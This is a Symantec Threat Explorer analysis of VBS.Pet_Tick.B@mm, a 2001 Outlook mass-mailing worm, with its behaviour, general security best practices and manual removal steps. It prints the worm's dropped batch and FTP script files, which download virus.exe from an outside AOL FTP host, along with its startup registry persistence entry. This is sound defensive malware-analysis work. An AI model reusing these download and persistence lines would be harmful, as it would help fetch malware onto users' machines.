Threat Explorer

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VBS.Pet_Tick.B@mm

VBS.Pet_Tick.B@mm

Discovered:
26 April 2001
Updated:
13 February 2007
Also Known As:
VBS.Ketip.B@mm I-Worm.SSIWG.e

VBS.Pet_Tick.B@mm is a Visual Basic Script (VBS) worm. It arrives as the attachment Judge.TXT.vbs. Like many other worms, it uses Microsoft Outlook to spread. The script attempts to connect to a FTP server and download a program which might be malicious.

Antivirus Protection Dates

  • Initial Rapid Release version 26 April 2001
  • Latest Rapid Release version 28 September 2010 revision 054
  • Initial Daily Certified version 26 April 2001
  • Latest Daily Certified version 28 September 2010 revision 036
  • Initial Weekly Certified release date pending
Click here for a more detailed description of Rapid Release and Daily Certified virus definitions.

When the worm is executed, it does the following:
  1. It copies itself to C: as Judge.TXT.vbs and Salut.mp3, and to the \Windows folder as WinGDI.EXE.vbs.
  2. It adds the value

    WinGDI       <Windows System Folder>\WinGDI.EXE.vbs

    to the registry key

    HKEY_LOCAL_MACHINE\Software\Microsoft\
    Windows\CurrentVersion\RunServices

    to enable itself to run at startup.
  3. It sends an email message to all contacts in all address lists found in Microsoft Outlook. The email message is as follows:

    Subject: BatMan, SpiderMan et les autres

    Message: La vraie histoire de ces justiciers

    Attachment: Judge.TXT.vbs
  4. It drops the \Windows\FTP.bat file. The file consists of the text

    @echo off
    start ftp -i -v -s:C:\FTP.drv
  5. It drops the C:\FTP.drv file. The file consists of the text

    open
    members.aol.com
    pentasm99
    binary
    lcd C:\
    get virus.exe
    bye
    exit
  6. It runs the \Windows\FTP.bat file. This will attempt to download the Virus.exe file from an FTP server designated by the author of the virus. The file might be malicious.
  7. If the number of the day of the month is 1, it appends the following text to the C:\Autoexec.bat file:

    @echo off
    cls
    echo.
    echo.
    echo VBS.Judge.A par PetiK (c)2000
    echo.
    echo TON ORDINATEUR VIENT DE MOURIR
    pause

    This displays the text every time that the computer starts.
  8. It drops the C:\Judge.txt file. The file consists of the text

    Si vous lisez ce texte,
    c'est que Microsoft a encors fait des siennes

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

  • Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.
  • Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
  • Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.
  • Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.
  • Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.
  • Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.
  • If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
  • Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
  • Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.
  • Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.
  • Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
  • If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.
  • For further information on the terms used in this document, please refer to the Security Response glossary.

To remove this worm, delete any files detected as VBS.Pet_Tick.B@mm, undo the change that it made to the registry, and then delete the files that were dropped by the worm.

To remove the worm:
  1. Run LiveUpdate to make sure that you have the most recent virus definitions.
  2. Start Norton AntiVirus (NAV), and run a full system scan, making sure that NAV is set to scan all files.
  3. Delete any files detected as VBS.Pet_Tick.B@mm.

To edit the registry:

CAUTION
: We strongly recommend that you back up the system registry before making any changes. Incorrect changes to the registry could result in permanent data loss or corrupted files. Please make sure you modify only the keys specified. Please see the document How to back up the Windows registry before proceeding.
  1. Click Start, and click Run. The Run dialog box appears.
  2. Type regedit and then click OK. The Registry Editor opens.
  3. Navigate to the following key:

    HKEY_LOCAL_MACHINE\Software\Microsoft\
    Windows\CurrentVersion\RunServices
  4. In the right pane, delete the following value:

    WinGDI       <Windows System Folder>\WinGDI.EXE.vbs
  5. Using Windows Explorer, locate and delete the following files:
    • \Windows\FTP.bat
    • C:\FTP.drv
    • C:\Judge.txt

Writeup By: Serghei Sevcenco